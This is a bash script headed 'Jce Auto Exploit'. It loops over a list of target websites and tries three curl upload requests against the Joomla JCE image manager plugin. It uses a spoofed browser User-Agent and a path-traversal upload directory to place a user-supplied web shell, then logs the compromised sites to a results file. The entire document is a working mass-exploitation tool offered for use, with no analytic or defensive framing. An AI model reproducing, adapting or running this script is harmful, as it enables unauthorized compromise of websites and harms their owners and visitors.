Jce Auto Exploit

#!/bin/bash
#LittleJok3r ~ @d3pTeam ~ magelang1337.com
#usage bash jce.sh
cyan='\033[0;36m'
green='\e[92m'
red='\033[0;31m'
jce(){
if [[ $(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -F 'upload-dir=./../../' -F 'upload-overwrite=0' -F Filedata=@$shell -F 'action=upload' "$site/component/option,com_jce/action,upload/file,imgmanager/lang,en/method,form/plugin,imgmanager/task,plugin/" | grep -o "$shell") =~ "$shell" ]];
   then
   printf "$green [+] Sukses\n"
   echo "$site/$shell" | tee -a result_jce.txt
   elif [[ $(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -F 'upload-dir=./../../' -F 'upload-overwrite=0' -F Filedata=@$shell -F 'action=upload' "$site/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&action=upload" | grep -o "$shell") =~ "$shell" ]];
   then
   printf "$green [+] Sukses\n"
   echo "$site/$shell" | tee -a result_jce.txt
   elif [[ $(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -F 'upload-dir=./../../' -F 'upload-overwrite=0' -F Filedata=@$shell -F 'action=upload' "$site/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20" | grep -o "$shell") =~ "$shell" ]];
   then
   printf "$green [+] Sukses\n"
   echo "$site/$shell" | tee -a result_jce.txt
   else
   printf "$red [+] Failed\n"
   fi
  }
read -p "List Target : " list
read -p "Your Shell : " shell
for site in $(cat $list); do
      printf "$cyan[Try] $site \n"
      jce $site $shell
    done